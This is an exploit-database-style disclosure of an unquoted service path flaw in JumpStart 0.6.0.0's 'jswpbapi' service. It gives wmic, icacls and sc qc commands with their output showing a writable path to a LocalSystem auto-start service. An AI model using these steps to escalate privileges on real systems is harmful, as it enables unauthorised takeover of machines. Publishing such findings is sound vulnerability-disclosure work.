JumpStart 0.6.0.0 – ‘jswpbapi’ Unquoted Service Path
# Exploit Title: JumpStart 0.6.0.0 - 'jswpbapi' Unquoted Service Path # Google Dork: N/A # Date: 2019-09-09 # Exploit Author: Roberto Escamilla # Vendor Homepage:https://www.inforprograma.net/ # Software Link: https://www.inforprograma.net/ # Version: = 0.6.0.0 wpspin.exe # Tested on: Windows 10 Home # CVE : N/A ###############STEPS########################## # 1.- Install the JumpStart application on Windows 10 Home Operating System # 2.- Open our "System Symbol" application. # 3.- Execute the command -------wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ # 4.- The following will appear in a list: JumpStart Push-Button Service jswpbapi C:\Program Files (x86)\Jumpstart\jswpbapi.exe # 5.- We proceed to verify the process using the command icacls, with which we verify the protection of the directory as shown below: NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administradores:(I)(F) BUILTIN\Usuarios:(I)(RX) ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIONES:(I)(RX) ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIÓN RESTRINGIDOS:(I)(RX) # 6.- Finally we verify using the command sc qc jswpbapi the protection of the service in which we observe that it is scalable in privileges # since the route contains spaces without being in quotes and is in CONTROL_ERROR normal and NOMBRE_INICIO_SERVICIO: # LocalSystem as it's shown in the following [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: jswpbapi TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Jumpstart\jswpbapi.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : JumpStart Push-Button Service DEPENDENCIAS : RPCSS NOMBRE_INICIO_SERVICIO: LocalSystem |